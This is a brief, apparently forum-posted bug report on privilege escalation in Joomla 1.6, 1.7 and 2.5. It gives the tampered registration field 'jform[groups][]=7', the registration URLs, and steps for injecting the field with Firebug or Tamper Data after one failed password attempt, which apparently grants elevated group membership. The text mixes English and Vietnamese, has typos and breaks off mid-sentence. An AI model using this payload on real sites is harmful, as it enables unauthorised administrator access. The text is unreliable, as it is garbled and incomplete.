[Bug] Joomla! 1.6/1.7/2.5 Privilege Escalation Vulnerability

Firebug: <input name="jform[groups][]" value="7" /> Tamper Data: jform[groups][]=7 Chi tiết index.php?option=com_users&view=registration (2.x) index.php?option=com_user&view=register (Joomla! 1.x) 1. go to mydomain + index.php?option=com_users&view=registration 2. The first time I enter de pass incorrect. 3. The second time y insert with firebug after " .